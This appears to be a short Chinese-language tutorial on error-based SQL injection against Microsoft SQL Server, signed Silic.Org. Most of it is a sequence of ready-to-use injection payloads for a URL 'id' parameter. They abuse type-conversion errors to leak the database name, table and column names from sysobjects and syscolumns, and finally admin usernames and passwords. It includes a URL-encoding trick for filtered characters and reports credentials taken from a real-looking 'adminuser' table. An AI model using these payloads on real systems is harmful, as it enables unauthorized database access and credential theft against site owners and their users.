Mssql with error注入样例

来源:互联网 时间:1970-01-01

MySQL有显错注入,MSSQL也有,本文就是讲MSSQL显错注入的。

语句比较少,自己理解和套用。

sub.php?table=performance&id=12

原理和说明:可以报错的话,union用不了的都没事,下面全部就用类型转换vchar后和int比较大小报错的传统方式【注意】如果仅仅只转换类型,不拼上一些特殊字符的话,本身为int的值,转成vchar后跟int比较大小,mssql还是会强制按照int去比较(估计就像编程中的弱类型语言,主观臆断,没有考证),这样就暴不出错了

只能二分,太慢。

以前第一次mssql注入的时候转了又转还是不行。很多情况是+号被过滤,所以此处演示的字符串连接的加号+要用url编码

id=12 and db_name()>0--

暴当前数据名zhengheng

id=12 and (select cast(count(*) as varchar(10))%2b'^' from [zhengheng]..[sysobjects] where xtype='U' and status>0)>0--zhengheng库下的表数目

id=12 and (select top 1 name from [zhengheng]..[sysobjects] where xtype='U' and status>0 and id=1)>0--

sysobjects是系统表,结构可以查资料。http://blog.csdn.net/ning517/archive/2008/03/19/2196306.aspx

有id这一列。根据id一个个暴表名,第一个就是adminuser

id=12 and (select top 1 name from [zhengheng]..[syscolumns] where id=357576312 and colid=1)>0--

列名,colid递增一个个暴

id=12 and (select cast(count(*) as varchar(200))%2b'^' from adminuser where 1=1)>0--记录数

id=12 and (select top 1 (cast([username] as nvarchar(100)))%2b'^'%2b(cast(password as nvarchar(100))) from adminuser where id=1)>0--复制代码

用户名密码

最后得到结果:

adminuser表:admin和liying

//Silic.Org



相关阅读:
Top